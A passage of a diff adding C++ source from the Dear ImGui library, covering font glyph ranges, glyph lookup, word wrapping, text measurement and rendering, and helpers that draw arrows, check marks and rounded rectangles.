0x052F, // Cyrillic + Cyrillic Supplement + 0x2DE0, 0x2DFF, // Cyrillic Extended-A + 0xA640, 0xA69F, // Cyrillic Extended-B + 0, + }; + return &ranges[0]; +} + +const ImWchar* ImFontAtlas::GetGlyphRangesThai() +{ + static const ImWchar ranges[] = + { + 0x0020, 0x00FF, // Basic Latin + 0x2010, 0x205E, // Punctuations + 0x0E00, 0x0E7F, // Thai + 0, + }; + return &ranges[0]; +} + +const ImWchar* ImFontAtlas::GetGlyphRangesVietnamese() +{ + static const ImWchar ranges[] = + { + 0x0020, 0x00FF, // Basic Latin + 0x0102, 0x0103, + 0x0110, 0x0111, + 0x0128, 0x0129, + 0x0168, 0x0169, + 0x01A0, 0x01A1, + 0x01AF, 0x01B0, + 0x1EA0, 0x1EF9, + 0, + }; + return &ranges[0]; +} + +//----------------------------------------------------------------------------- +// [SECTION] ImFontGlyphRangesBuilder +//----------------------------------------------------------------------------- + +void ImFontGlyphRangesBuilder::AddText(const char* text, const char* text_end) +{ + while (text_end ? (text < text_end) : *text) + { + unsigned int c = 0; + int c_len = ImTextCharFromUtf8(&c, text, text_end); + text += c_len; + if (c_len == 0) + break; + AddChar((ImWchar)c); + } +} + +void ImFontGlyphRangesBuilder::AddRanges(const ImWchar* ranges) +{ + for (; ranges[0]; ranges += 2) + for (ImWchar c = ranges[0]; c <= ranges[1]; c++) + AddChar(c); +} + +void ImFontGlyphRangesBuilder::BuildRanges(ImVector* out_ranges) +{ + const int max_codepoint = IM_UNICODE_CODEPOINT_MAX; + for (int n = 0; n <= max_codepoint; n++) + if (GetBit(n)) + { + out_ranges->push_back((ImWchar)n); + while (n < max_codepoint && GetBit(n + 1)) + n++; + out_ranges->push_back((ImWchar)n); + } + out_ranges->push_back(0); +} + +//----------------------------------------------------------------------------- +// [SECTION] ImFont +//----------------------------------------------------------------------------- + +ImFont::ImFont() +{ + FontSize = 0.0f; + FallbackAdvanceX = 0.0f; + FallbackChar = (ImWchar)'?'; + EllipsisChar = (ImWchar)-1; + FallbackGlyph = NULL; + ContainerAtlas = NULL; + ConfigData = NULL; + ConfigDataCount = 0; + DirtyLookupTables = false; + Scale = 1.0f; + Ascent = Descent = 0.0f; + MetricsTotalSurface = 0; + memset(Used4kPagesMap, 0, sizeof(Used4kPagesMap)); +} + +ImFont::~ImFont() +{ + ClearOutputData(); +} + +void ImFont::ClearOutputData() +{ + FontSize = 0.0f; + FallbackAdvanceX = 0.0f; + Glyphs.clear(); + IndexAdvanceX.clear(); + IndexLookup.clear(); + FallbackGlyph = NULL; + ContainerAtlas = NULL; + DirtyLookupTables = true; + Ascent = Descent = 0.0f; + MetricsTotalSurface = 0; +} + +void ImFont::BuildLookupTable() +{ + int max_codepoint = 0; + for (int i = 0; i != Glyphs.Size; i++) + max_codepoint = ImMax(max_codepoint, (int)Glyphs[i].Codepoint); + + // Build lookup table + IM_ASSERT(Glyphs.Size < 0xFFFF); // -1 is reserved + IndexAdvanceX.clear(); + IndexLookup.clear(); + DirtyLookupTables = false; + memset(Used4kPagesMap, 0, sizeof(Used4kPagesMap)); + GrowIndex(max_codepoint + 1); + for (int i = 0; i < Glyphs.Size; i++) + { + int codepoint = (int)Glyphs[i].Codepoint; + IndexAdvanceX[codepoint] = Glyphs[i].AdvanceX; + IndexLookup[codepoint] = (ImWchar)i; + + // Mark 4K page as used + const int page_n = codepoint / 4096; + Used4kPagesMap[page_n >> 3] |= 1 << (page_n & 7); + } + + // Create a glyph to handle TAB + // FIXME: Needs proper TAB handling but it needs to be contextualized (or we could arbitrary say that each string starts at "column 0" ?) + if (FindGlyph((ImWchar)' ')) + { + if (Glyphs.back().Codepoint != '\t') // So we can call this function multiple times (FIXME: Flaky) + Glyphs.resize(Glyphs.Size + 1); + ImFontGlyph& tab_glyph = Glyphs.back(); + tab_glyph = *FindGlyph((ImWchar)' '); + tab_glyph.Codepoint = '\t'; + tab_glyph.AdvanceX *= IM_TABSIZE; + IndexAdvanceX[(int)tab_glyph.Codepoint] = (float)tab_glyph.AdvanceX; + IndexLookup[(int)tab_glyph.Codepoint] = (ImWchar)(Glyphs.Size - 1); + } + + // Mark special glyphs as not visible (note that AddGlyph already mark as non-visible glyphs with zero-size polygons) + SetGlyphVisible((ImWchar)' ', false); + SetGlyphVisible((ImWchar)'\t', false); + + // Setup fall-backs + FallbackGlyph = FindGlyphNoFallback(FallbackChar); + FallbackAdvanceX = FallbackGlyph ? FallbackGlyph->AdvanceX : 0.0f; + for (int i = 0; i < max_codepoint + 1; i++) + if (IndexAdvanceX[i] < 0.0f) + IndexAdvanceX[i] = FallbackAdvanceX; +} + +// API is designed this way to avoid exposing the 4K page size +// e.g. use with IsGlyphRangeUnused(0, 255) +bool ImFont::IsGlyphRangeUnused(unsigned int c_begin, unsigned int c_last) +{ + unsigned int page_begin = (c_begin / 4096); + unsigned int page_last = (c_last / 4096); + for (unsigned int page_n = page_begin; page_n <= page_last; page_n++) + if ((page_n >> 3) < sizeof(Used4kPagesMap)) + if (Used4kPagesMap[page_n >> 3] & (1 << (page_n & 7))) + return false; + return true; +} + +void ImFont::SetGlyphVisible(ImWchar c, bool visible) +{ + if (ImFontGlyph* glyph = (ImFontGlyph*)(void*)FindGlyph((ImWchar)c)) + glyph->Visible = visible ? 1 : 0; +} + +void ImFont::SetFallbackChar(ImWchar c) +{ + FallbackChar = c; + BuildLookupTable(); +} + +void ImFont::GrowIndex(int new_size) +{ + IM_ASSERT(IndexAdvanceX.Size == IndexLookup.Size); + if (new_size <= IndexLookup.Size) + return; + IndexAdvanceX.resize(new_size, -1.0f); + IndexLookup.resize(new_size, (ImWchar)-1); +} + +// x0/y0/x1/y1 are offset from the character upper-left layout position, in pixels. Therefore x0/y0 are often fairly close to zero. +// Not to be mistaken with texture coordinates, which are held by u0/v0/u1/v1 in normalized format (0.0..1.0 on each texture axis). +// 'cfg' is not necessarily == 'this->ConfigData' because multiple source fonts+configs can be used to build one target font. +void ImFont::AddGlyph(const ImFontConfig* cfg, ImWchar codepoint, float x0, float y0, float x1, float y1, float u0, float v0, float u1, float v1, float advance_x) +{ + if (cfg != NULL) + { + // Clamp & recenter if needed + const float advance_x_original = advance_x; + advance_x = ImClamp(advance_x, cfg->GlyphMinAdvanceX, cfg->GlyphMaxAdvanceX); + if (advance_x != advance_x_original) + { + float char_off_x = cfg->PixelSnapH ? ImFloor((advance_x - advance_x_original) * 0.5f) : (advance_x - advance_x_original) * 0.5f; + x0 += char_off_x; + x1 += char_off_x; + } + + // Snap to pixel + if (cfg->PixelSnapH) + advance_x = IM_ROUND(advance_x); + + // Bake spacing + advance_x += cfg->GlyphExtraSpacing.x; + } + + Glyphs.resize(Glyphs.Size + 1); + ImFontGlyph& glyph = Glyphs.back(); + glyph.Codepoint = (unsigned int)codepoint; + glyph.Visible = (x0 != x1) && (y0 != y1); + glyph.X0 = x0; + glyph.Y0 = y0; + glyph.X1 = x1; + glyph.Y1 = y1; + glyph.U0 = u0; + glyph.V0 = v0; + glyph.U1 = u1; + glyph.V1 = v1; + glyph.AdvanceX = advance_x; + + // Compute rough surface usage metrics (+1 to account for average padding, +0.99 to round) + // We use (U1-U0)*TexWidth instead of X1-X0 to account for oversampling. + float pad = ContainerAtlas->TexGlyphPadding + 0.99f; + DirtyLookupTables = true; + MetricsTotalSurface += (int)((glyph.U1 - glyph.U0) * ContainerAtlas->TexWidth + pad) * (int)((glyph.V1 - glyph.V0) * ContainerAtlas->TexHeight + pad); +} + +void ImFont::AddRemapChar(ImWchar dst, ImWchar src, bool overwrite_dst) +{ + IM_ASSERT(IndexLookup.Size > 0); // Currently this can only be called AFTER the font has been built, aka after calling ImFontAtlas::GetTexDataAs*() function. + unsigned int index_size = (unsigned int)IndexLookup.Size; + + if (dst < index_size && IndexLookup.Data[dst] == (ImWchar)-1 && !overwrite_dst) // 'dst' already exists + return; + if (src >= index_size && dst >= index_size) // both 'dst' and 'src' don't exist -> no-op + return; + + GrowIndex(dst + 1); + IndexLookup[dst] = (src < index_size) ? IndexLookup.Data[src] : (ImWchar)-1; + IndexAdvanceX[dst] = (src < index_size) ? IndexAdvanceX.Data[src] : 1.0f; +} + +const ImFontGlyph* ImFont::FindGlyph(ImWchar c) const +{ + if (c >= (size_t)IndexLookup.Size) + return FallbackGlyph; + const ImWchar i = IndexLookup.Data[c]; + if (i == (ImWchar)-1) + return FallbackGlyph; + return &Glyphs.Data[i]; +} + +const ImFontGlyph* ImFont::FindGlyphNoFallback(ImWchar c) const +{ + if (c >= (size_t)IndexLookup.Size) + return NULL; + const ImWchar i = IndexLookup.Data[c]; + if (i == (ImWchar)-1) + return NULL; + return &Glyphs.Data[i]; +} + +const char* ImFont::CalcWordWrapPositionA(float scale, const char* text, const char* text_end, float wrap_width) const +{ + // Simple word-wrapping for English, not full-featured. Please submit failing cases! + // FIXME: Much possible improvements (don't cut things like "word !", "word!!!" but cut within "word,,,,", more sensible support for punctuations, support for Unicode punctuations, etc.) + + // For references, possible wrap point marked with ^ + // "aaa bbb, ccc,ddd. eee fff. ggg!" + // ^ ^ ^ ^ ^__ ^ ^ + + // List of hardcoded separators: .,;!?'" + + // Skip extra blanks after a line returns (that includes not counting them in width computation) + // e.g. "Hello world" --> "Hello" "World" + + // Cut words that cannot possibly fit within one line. + // e.g.: "The tropical fish" with ~5 characters worth of width --> "The tr" "opical" "fish" + + float line_width = 0.0f; + float word_width = 0.0f; + float blank_width = 0.0f; + wrap_width /= scale; // We work with unscaled widths to avoid scaling every characters + + const char* word_end = text; + const char* prev_word_end = NULL; + bool inside_word = true; + + const char* s = text; + while (s < text_end) + { + unsigned int c = (unsigned int)*s; + const char* next_s; + if (c < 0x80) + next_s = s + 1; + else + next_s = s + ImTextCharFromUtf8(&c, s, text_end); + if (c == 0) + break; + + if (c < 32) + { + if (c == '\n') + { + line_width = word_width = blank_width = 0.0f; + inside_word = true; + s = next_s; + continue; + } + if (c == '\r') + { + s = next_s; + continue; + } + } + + const float char_width = ((int)c < IndexAdvanceX.Size ? IndexAdvanceX.Data[c] : FallbackAdvanceX); + if (ImCharIsBlankW(c)) + { + if (inside_word) + { + line_width += blank_width; + blank_width = 0.0f; + word_end = s; + } + blank_width += char_width; + inside_word = false; + } + else + { + word_width += char_width; + if (inside_word) + { + word_end = next_s; + } + else + { + prev_word_end = word_end; + line_width += word_width + blank_width; + word_width = blank_width = 0.0f; + } + + // Allow wrapping after punctuation. + inside_word = (c != '.' && c != ',' && c != ';' && c != '!' && c != '?' && c != '\"'); + } + + // We ignore blank width at the end of the line (they can be skipped) + if (line_width + word_width > wrap_width) + { + // Words that cannot possibly fit within an entire line will be cut anywhere. + if (word_width < wrap_width) + s = prev_word_end ? prev_word_end : word_end; + break; + } + + s = next_s; + } + + return s; +} + +ImVec2 ImFont::CalcTextSizeA(float size, float max_width, float wrap_width, const char* text_begin, const char* text_end, const char** remaining) const +{ + if (!text_end) + text_end = text_begin + strlen(text_begin); // FIXME-OPT: Need to avoid this. + + const float line_height = size; + const float scale = size / FontSize; + + ImVec2 text_size = ImVec2(0, 0); + float line_width = 0.0f; + + const bool word_wrap_enabled = (wrap_width > 0.0f); + const char* word_wrap_eol = NULL; + + const char* s = text_begin; + while (s < text_end) + { + if (word_wrap_enabled) + { + // Calculate how far we can render. Requires two passes on the string data but keeps the code simple and not intrusive for what's essentially an uncommon feature. + if (!word_wrap_eol) + { + word_wrap_eol = CalcWordWrapPositionA(scale, s, text_end, wrap_width - line_width); + if (word_wrap_eol == s) // Wrap_width is too small to fit anything. Force displaying 1 character to minimize the height discontinuity. + word_wrap_eol++; // +1 may not be a character start point in UTF-8 but it's ok because we use s >= word_wrap_eol below + } + + if (s >= word_wrap_eol) + { + if (text_size.x < line_width) + text_size.x = line_width; + text_size.y += line_height; + line_width = 0.0f; + word_wrap_eol = NULL; + + // Wrapping skips upcoming blanks + while (s < text_end) + { + const char c = *s; + if (ImCharIsBlankA(c)) { s++; } else if (c == '\n') { s++; break; } else { break; } + } + continue; + } + } + + // Decode and advance source + const char* prev_s = s; + unsigned int c = (unsigned int)*s; + if (c < 0x80) + { + s += 1; + } + else + { + s += ImTextCharFromUtf8(&c, s, text_end); + if (c == 0) // Malformed UTF-8? + break; + } + + if (c < 32) + { + if (c == '\n') + { + text_size.x = ImMax(text_size.x, line_width); + text_size.y += line_height; + line_width = 0.0f; + continue; + } + if (c == '\r') + continue; + } + + const float char_width = ((int)c < IndexAdvanceX.Size ? IndexAdvanceX.Data[c] : FallbackAdvanceX) * scale; + if (line_width + char_width >= max_width) + { + s = prev_s; + break; + } + + line_width += char_width; + } + + if (text_size.x < line_width) + text_size.x = line_width; + + if (line_width > 0 || text_size.y == 0.0f) + text_size.y += line_height; + + if (remaining) + *remaining = s; + + return text_size; +} + +void ImFont::RenderChar(ImDrawList* draw_list, float size, ImVec2 pos, ImU32 col, ImWchar c) const +{ + const ImFontGlyph* glyph = FindGlyph(c); + if (!glyph || !glyph->Visible) + return; + float scale = (size >= 0.0f) ? (size / FontSize) : 1.0f; + pos.x = IM_FLOOR(pos.x); + pos.y = IM_FLOOR(pos.y); + draw_list->PrimReserve(6, 4); + draw_list->PrimRectUV(ImVec2(pos.x + glyph->X0 * scale, pos.y + glyph->Y0 * scale), ImVec2(pos.x + glyph->X1 * scale, pos.y + glyph->Y1 * scale), ImVec2(glyph->U0, glyph->V0), ImVec2(glyph->U1, glyph->V1), col); +} + +void ImFont::RenderText(ImDrawList* draw_list, float size, ImVec2 pos, ImU32 col, const ImVec4& clip_rect, const char* text_begin, const char* text_end, float wrap_width, bool cpu_fine_clip) const +{ + if (!text_end) + text_end = text_begin + strlen(text_begin); // ImGui:: functions generally already provides a valid text_end, so this is merely to handle direct calls. + + // Align to be pixel perfect + pos.x = IM_FLOOR(pos.x); + pos.y = IM_FLOOR(pos.y); + float x = pos.x; + float y = pos.y; + if (y > clip_rect.w) + return; + + const float scale = size / FontSize; + const float line_height = FontSize * scale; + const bool word_wrap_enabled = (wrap_width > 0.0f); + const char* word_wrap_eol = NULL; + + // Fast-forward to first visible line + const char* s = text_begin; + if (y + line_height < clip_rect.y && !word_wrap_enabled) + while (y + line_height < clip_rect.y && s < text_end) + { + s = (const char*)memchr(s, '\n', text_end - s); + s = s ? s + 1 : text_end; + y += line_height; + } + + // For large text, scan for the last visible line in order to avoid over-reserving in the call to PrimReserve() + // Note that very large horizontal line will still be affected by the issue (e.g. a one megabyte string buffer without a newline will likely crash atm) + if (text_end - s > 10000 && !word_wrap_enabled) + { + const char* s_end = s; + float y_end = y; + while (y_end < clip_rect.w && s_end < text_end) + { + s_end = (const char*)memchr(s_end, '\n', text_end - s_end); + s_end = s_end ? s_end + 1 : text_end; + y_end += line_height; + } + text_end = s_end; + } + if (s == text_end) + return; + + // Reserve vertices for remaining worse case (over-reserving is useful and easily amortized) + const int vtx_count_max = (int)(text_end - s) * 4; + const int idx_count_max = (int)(text_end - s) * 6; + const int idx_expected_size = draw_list->IdxBuffer.Size + idx_count_max; + draw_list->PrimReserve(idx_count_max, vtx_count_max); + + ImDrawVert* vtx_write = draw_list->_VtxWritePtr; + ImDrawIdx* idx_write = draw_list->_IdxWritePtr; + unsigned int vtx_current_idx = draw_list->_VtxCurrentIdx; + + while (s < text_end) + { + if (word_wrap_enabled) + { + // Calculate how far we can render. Requires two passes on the string data but keeps the code simple and not intrusive for what's essentially an uncommon feature. + if (!word_wrap_eol) + { + word_wrap_eol = CalcWordWrapPositionA(scale, s, text_end, wrap_width - (x - pos.x)); + if (word_wrap_eol == s) // Wrap_width is too small to fit anything. Force displaying 1 character to minimize the height discontinuity. + word_wrap_eol++; // +1 may not be a character start point in UTF-8 but it's ok because we use s >= word_wrap_eol below + } + + if (s >= word_wrap_eol) + { + x = pos.x; + y += line_height; + word_wrap_eol = NULL; + + // Wrapping skips upcoming blanks + while (s < text_end) + { + const char c = *s; + if (ImCharIsBlankA(c)) { s++; } else if (c == '\n') { s++; break; } else { break; } + } + continue; + } + } + + // Decode and advance source + unsigned int c = (unsigned int)*s; + if (c < 0x80) + { + s += 1; + } + else + { + s += ImTextCharFromUtf8(&c, s, text_end); + if (c == 0) // Malformed UTF-8? + break; + } + + if (c < 32) + { + if (c == '\n') + { + x = pos.x; + y += line_height; + if (y > clip_rect.w) + break; // break out of main loop + continue; + } + if (c == '\r') + continue; + } + + const ImFontGlyph* glyph = FindGlyph((ImWchar)c); + if (glyph == NULL) + continue; + + float char_width = glyph->AdvanceX * scale; + if (glyph->Visible) + { + // We don't do a second finer clipping test on the Y axis as we've already skipped anything before clip_rect.y and exit once we pass clip_rect.w + float x1 = x + glyph->X0 * scale; + float x2 = x + glyph->X1 * scale; + float y1 = y + glyph->Y0 * scale; + float y2 = y + glyph->Y1 * scale; + if (x1 <= clip_rect.z && x2 >= clip_rect.x) + { + // Render a character + float u1 = glyph->U0; + float v1 = glyph->V0; + float u2 = glyph->U1; + float v2 = glyph->V1; + + // CPU side clipping used to fit text in their frame when the frame is too small. Only does clipping for axis aligned quads. + if (cpu_fine_clip) + { + if (x1 < clip_rect.x) + { + u1 = u1 + (1.0f - (x2 - clip_rect.x) / (x2 - x1)) * (u2 - u1); + x1 = clip_rect.x; + } + if (y1 < clip_rect.y) + { + v1 = v1 + (1.0f - (y2 - clip_rect.y) / (y2 - y1)) * (v2 - v1); + y1 = clip_rect.y; + } + if (x2 > clip_rect.z) + { + u2 = u1 + ((clip_rect.z - x1) / (x2 - x1)) * (u2 - u1); + x2 = clip_rect.z; + } + if (y2 > clip_rect.w) + { + v2 = v1 + ((clip_rect.w - y1) / (y2 - y1)) * (v2 - v1); + y2 = clip_rect.w; + } + if (y1 >= y2) + { + x += char_width; + continue; + } + } + + // We are NOT calling PrimRectUV() here because non-inlined causes too much overhead in a debug builds. Inlined here: + { + idx_write[0] = (ImDrawIdx)(vtx_current_idx); idx_write[1] = (ImDrawIdx)(vtx_current_idx+1); idx_write[2] = (ImDrawIdx)(vtx_current_idx+2); + idx_write[3] = (ImDrawIdx)(vtx_current_idx); idx_write[4] = (ImDrawIdx)(vtx_current_idx+2); idx_write[5] = (ImDrawIdx)(vtx_current_idx+3); + vtx_write[0].pos.x = x1; vtx_write[0].pos.y = y1; vtx_write[0].col = col; vtx_write[0].uv.x = u1; vtx_write[0].uv.y = v1; + vtx_write[1].pos.x = x2; vtx_write[1].pos.y = y1; vtx_write[1].col = col; vtx_write[1].uv.x = u2; vtx_write[1].uv.y = v1; + vtx_write[2].pos.x = x2; vtx_write[2].pos.y = y2; vtx_write[2].col = col; vtx_write[2].uv.x = u2; vtx_write[2].uv.y = v2; + vtx_write[3].pos.x = x1; vtx_write[3].pos.y = y2; vtx_write[3].col = col; vtx_write[3].uv.x = u1; vtx_write[3].uv.y = v2; + vtx_write += 4; + vtx_current_idx += 4; + idx_write += 6; + } + } + } + x += char_width; + } + + // Give back unused vertices (clipped ones, blanks) ~ this is essentially a PrimUnreserve() action. + draw_list->VtxBuffer.Size = (int)(vtx_write - draw_list->VtxBuffer.Data); // Same as calling shrink() + draw_list->IdxBuffer.Size = (int)(idx_write - draw_list->IdxBuffer.Data); + draw_list->CmdBuffer[draw_list->CmdBuffer.Size - 1].ElemCount -= (idx_expected_size - draw_list->IdxBuffer.Size); + draw_list->_VtxWritePtr = vtx_write; + draw_list->_IdxWritePtr = idx_write; + draw_list->_VtxCurrentIdx = vtx_current_idx; +} + +//----------------------------------------------------------------------------- +// [SECTION] ImGui Internal Render Helpers +//----------------------------------------------------------------------------- +// Vaguely redesigned to stop accessing ImGui global state: +// - RenderArrow() +// - RenderBullet() +// - RenderCheckMark() +// - RenderMouseCursor() +// - RenderArrowPointingAt() +// - RenderRectFilledRangeH() +//----------------------------------------------------------------------------- +// Function in need of a redesign (legacy mess) +// - RenderColorRectWithAlphaCheckerboard() +//----------------------------------------------------------------------------- + +// Render an arrow aimed to be aligned with text (p_min is a position in the same space text would be positioned). To e.g. denote expanded/collapsed state +void ImGui::RenderArrow(ImDrawList* draw_list, ImVec2 pos, ImU32 col, ImGuiDir dir, float scale) +{ + const float h = draw_list->_Data->FontSize * 1.00f; + float r = h * 0.40f * scale; + ImVec2 center = pos + ImVec2(h * 0.50f, h * 0.50f * scale); + + ImVec2 a, b, c; + switch (dir) + { + case ImGuiDir_Up: + case ImGuiDir_Down: + if (dir == ImGuiDir_Up) r = -r; + a = ImVec2(+0.000f, +0.750f) * r; + b = ImVec2(-0.866f, -0.750f) * r; + c = ImVec2(+0.866f, -0.750f) * r; + break; + case ImGuiDir_Left: + case ImGuiDir_Right: + if (dir == ImGuiDir_Left) r = -r; + a = ImVec2(+0.750f, +0.000f) * r; + b = ImVec2(-0.750f, +0.866f) * r; + c = ImVec2(-0.750f, -0.866f) * r; + break; + case ImGuiDir_None: + case ImGuiDir_COUNT: + IM_ASSERT(0); + break; + } + draw_list->AddTriangleFilled(center + a, center + b, center + c, col); +} + +void ImGui::RenderBullet(ImDrawList* draw_list, ImVec2 pos, ImU32 col) +{ + draw_list->AddCircleFilled(pos, draw_list->_Data->FontSize * 0.20f, col, 8); +} + +void ImGui::RenderCheckMark(ImDrawList* draw_list, ImVec2 pos, ImU32 col, float sz) +{ + float thickness = ImMax(sz / 5.0f, 1.0f); + sz -= thickness * 0.5f; + pos += ImVec2(thickness * 0.25f, thickness * 0.25f); + + float third = sz / 3.0f; + float bx = pos.x + third; + float by = pos.y + sz - third * 0.5f; + draw_list->PathLineTo(ImVec2(bx - third, by - third)); + draw_list->PathLineTo(ImVec2(bx, by)); + draw_list->PathLineTo(ImVec2(bx + third * 2.0f, by - third * 2.0f)); + draw_list->PathStroke(col, false, thickness); +} + +void ImGui::RenderMouseCursor(ImDrawList* draw_list, ImVec2 pos, float scale, ImGuiMouseCursor mouse_cursor, ImU32 col_fill, ImU32 col_border, ImU32 col_shadow) +{ + if (mouse_cursor == ImGuiMouseCursor_None) + return; + IM_ASSERT(mouse_cursor > ImGuiMouseCursor_None && mouse_cursor < ImGuiMouseCursor_COUNT); + + ImFontAtlas* font_atlas = draw_list->_Data->Font->ContainerAtlas; + ImVec2 offset, size, uv[4]; + if (font_atlas->GetMouseCursorTexData(mouse_cursor, &offset, &size, &uv[0], &uv[2])) + { + pos -= offset; + const ImTextureID tex_id = font_atlas->TexID; + draw_list->PushTextureID(tex_id); + draw_list->AddImage(tex_id, pos + ImVec2(1, 0) * scale, pos + (ImVec2(1, 0) + size) * scale, uv[2], uv[3], col_shadow); + draw_list->AddImage(tex_id, pos + ImVec2(2, 0) * scale, pos + (ImVec2(2, 0) + size) * scale, uv[2], uv[3], col_shadow); + draw_list->AddImage(tex_id, pos, pos + size * scale, uv[2], uv[3], col_border); + draw_list->AddImage(tex_id, pos, pos + size * scale, uv[0], uv[1], col_fill); + draw_list->PopTextureID(); + } +} + +// Render an arrow. 'pos' is position of the arrow tip. half_sz.x is length from base to tip. half_sz.y is length on each side. +void ImGui::RenderArrowPointingAt(ImDrawList* draw_list, ImVec2 pos, ImVec2 half_sz, ImGuiDir direction, ImU32 col) +{ + switch (direction) + { + case ImGuiDir_Left: draw_list->AddTriangleFilled(ImVec2(pos.x + half_sz.x, pos.y - half_sz.y), ImVec2(pos.x + half_sz.x, pos.y + half_sz.y), pos, col); return; + case ImGuiDir_Right: draw_list->AddTriangleFilled(ImVec2(pos.x - half_sz.x, pos.y + half_sz.y), ImVec2(pos.x - half_sz.x, pos.y - half_sz.y), pos, col); return; + case ImGuiDir_Up: draw_list->AddTriangleFilled(ImVec2(pos.x + half_sz.x, pos.y + half_sz.y), ImVec2(pos.x - half_sz.x, pos.y + half_sz.y), pos, col); return; + case ImGuiDir_Down: draw_list->AddTriangleFilled(ImVec2(pos.x - half_sz.x, pos.y - half_sz.y), ImVec2(pos.x + half_sz.x, pos.y - half_sz.y), pos, col); return; + case ImGuiDir_None: case ImGuiDir_COUNT: break; // Fix warnings + } +} + +static inline float ImAcos01(float x) +{ + if (x <= 0.0f) return IM_PI * 0.5f; + if (x >= 1.0f) return 0.0f; + return ImAcos(x); + //return (-0.69813170079773212f * x * x - 0.87266462599716477f) * x + 1.5707963267948966f; // Cheap approximation, may be enough for what we do. +} + +// FIXME: Cleanup and move code to ImDrawList. +void ImGui::RenderRectFilledRangeH(ImDrawList* draw_list, const ImRect& rect, ImU32 col, float x_start_norm, float x_end_norm, float rounding) +{ + if (x_end_norm == x_start_norm) + return; + if (x_start_norm > x_end_norm) + ImSwap(x_start_norm, x_end_norm); + + ImVec2 p0 = ImVec2(ImLerp(rect.Min.x, rect.Max.x, x_start_norm), rect.Min.y); + ImVec2 p1 = ImVec2(ImLerp(rect.Min.x, rect.Max.x, x_end_norm), rect.Max.y); + if (rounding == 0.0f) + { + draw_list->AddRectFilled(p0, p1, col, 0.0f); + return; + } + + rounding = ImClamp(ImMin((rect.Max.x - rect.Min.x) * 0.5f, (rect.Max.y - rect.Min.y) * 0.5f) - 1.0f, 0.0f, rounding); + const float inv_rounding = 1.0f / rounding; + const float arc0_b = ImAcos01(1.0f - (p0.x - rect.Min.x) * inv_rounding); + const float arc0_e = ImAcos01(1.0f - (p1.x - rect.Min.x) * inv_rounding); + const float half_pi = IM_PI * 0.5f; // We will == compare to this because we know this is the exact value ImAcos01 can return. + const float x0 = ImMax(p0.x, rect.Min.x + rounding); + if (arc0_b == arc0_e) + { + draw_list->PathLineTo(ImVec2(x0, p1.y)); + draw_list->PathLineTo(ImVec2(x0, p0.y)); + } + else if (arc0_b == 0.0f && arc0_e == half_pi) + { + draw_list->PathArcToFast(ImVec2(x0, p1.y - rounding), rounding, 3, 6); // BL + draw_list->PathArcToFast(ImVec2(x0, p0.y + rounding), rounding, 6, 9); // TR + } + else + { + draw_list->PathArcTo(ImVec2(x0, p1.y - rounding), rounding, IM_PI - arc0_e, IM_PI - arc0_b, 3); // BL + draw_list->PathArcTo(ImVec2(x0, p0.y + rounding), rounding, IM_PI + arc0_b, IM_PI + arc0_e, 3); // TR + } + if (p1.x > rect.Min.x + rounding) + { + const float arc1_b = ImAcos01(1.0f - (rect.Max.x - p1.x) * inv_rounding); + const float arc1_e = ImAcos01(1.0f - (rect.Max.x - p0.x) * inv_rounding); + const float x1 = ImMin(p1.x, rect.Max.x - rounding); + if (arc1_b == arc1_e) + { + draw_list->PathLineTo(ImVec2(x1, p0.y)); + draw_list->PathLineTo(ImVec2(x1, p1.y)); + } + else if (arc1_b == 0.0f && arc1_e == half_pi) + { + draw_list->PathArcToFast(ImVec2(x1, p0.y + rounding), rounding, 9, 12); // TR + draw_list->PathArcToFast(ImVec2(x1, p1.y - rounding), rounding, 0, 3); // BR + } + else + { + draw_list->PathArcTo(ImVec2(x1, p0.y + rounding), rounding, -arc1_e, -arc1_b, 3); // TR + draw_list->PathArcTo(ImVec2(x1, p1.y - rounding), rounding, +arc1_b, +arc1_e, 3); // BR + } + } + draw_list->PathFillConvex(col); +} + +void ImGui::RenderRectFilledWithHole(ImDrawList* draw_list, ImRect outer, ImRect inner, ImU32 col, float rounding) +{ + const bool fill_L = (inner.Min.x > outer.Min.x); + const bool fill_R = (inner.Max.x < outer.Max.x); + const bool fill_U = (inner.Min.y > outer.Min.y); + const bool fill_D = (inner.Max.y < outer.Max.y); + if (fill_L) draw_list->AddRectFilled(ImVec2(outer.Min.x, inner.Min.y), ImVec2(inner.Min.x, inner.Max.y), col, rounding, (fill_U ? 0 : ImDrawCornerFlags_TopLeft) | (fill_D ? 0 : ImDrawCornerFlags_BotLeft)); + if (fill_R) draw_list->AddRectFilled(ImVec2(inner.Max.x, inner.Min.y), ImVec2(outer.Max.x, inner.Max.y), col, rounding, (fill_U ? 0 : ImDrawCornerFlags_TopRight) | (fill_D ? 0 : ImDrawCornerFlags_BotRight)); + if (fill_U) draw_list->AddRectFilled(ImVec2(inner.Min.x, outer.Min.y), ImVec2(inner.Max.x, inner.Min.y), col, rounding, (fill_L ? 0 : ImDrawCornerFlags_TopLeft) | (fill_R ? 0 : ImDrawCornerFlags_TopRight)); + if (fill_D) draw_list->AddRectFilled(ImVec2(inner.Min.x, inner.Max.y), ImVec2(inner.Max.x, outer.Max.y), col, rounding, (fill_L ? 0 : ImDrawCornerFlags_BotLeft) | (fill_R ? 0 : ImDrawCornerFlags_BotRight)); + if (fill_L && fill_U) draw_list->AddRectFilled(ImVec2(outer.Min.x, outer.Min.y), ImVec2(inner.Min.x, inner.Min.y), col, rounding, ImDrawCornerFlags_TopLeft); + if (fill_R && fill_U) draw_list->AddRectFilled(ImVec2(inner.Max.x, outer.Min.y), ImVec2(outer.Max.x, inner.Min.y), col, rounding, ImDrawCornerFlags_TopRight); + if (fill_L && fill_D) draw_list->AddRectFilled(ImVec2(outer.Min.x, inner.Max.y), ImVec2(inner.Min.x, outer.Max.y), col, rounding, ImDrawCornerFlags_BotLeft); + if (fill_R && fill_D) draw_list->AddRectFilled(ImVec2(inner.Max.x, inner.Max.y), ImVec2(outer.Max.x, outer.Max.y), col, rounding, ImDrawCornerFlags_BotRight); +} + +// Helper for ColorPicker4() +// NB: This is rather brittle and will show artifact when rounding this enabled if rounded corners overlap multiple cells. Caller currently responsible for avoiding that. +// Spent a non reasonable amount of time trying to getting this right for ColorButton with rounding+anti-aliasing+ImGuiColorEditFlags_HalfAlphaPreview flag + various grid sizes and offsets, and eventually gave up... probably more reasonable to disable rounding altogether. +// FIXME: uses ImGui::GetColorU32 +void ImGui::RenderColorRectWithAlphaCheckerboard(ImDrawList* draw_list, ImVec2 p_min, ImVec2 p_max, ImU32 col, float grid_step, ImVec2 grid_off, float rounding, int rounding_corners_flags) +{ + if (((col & IM_COL32_A_MASK) >> IM_COL32_A_SHIFT) < 0xFF) + { + ImU32 col_bg1 = 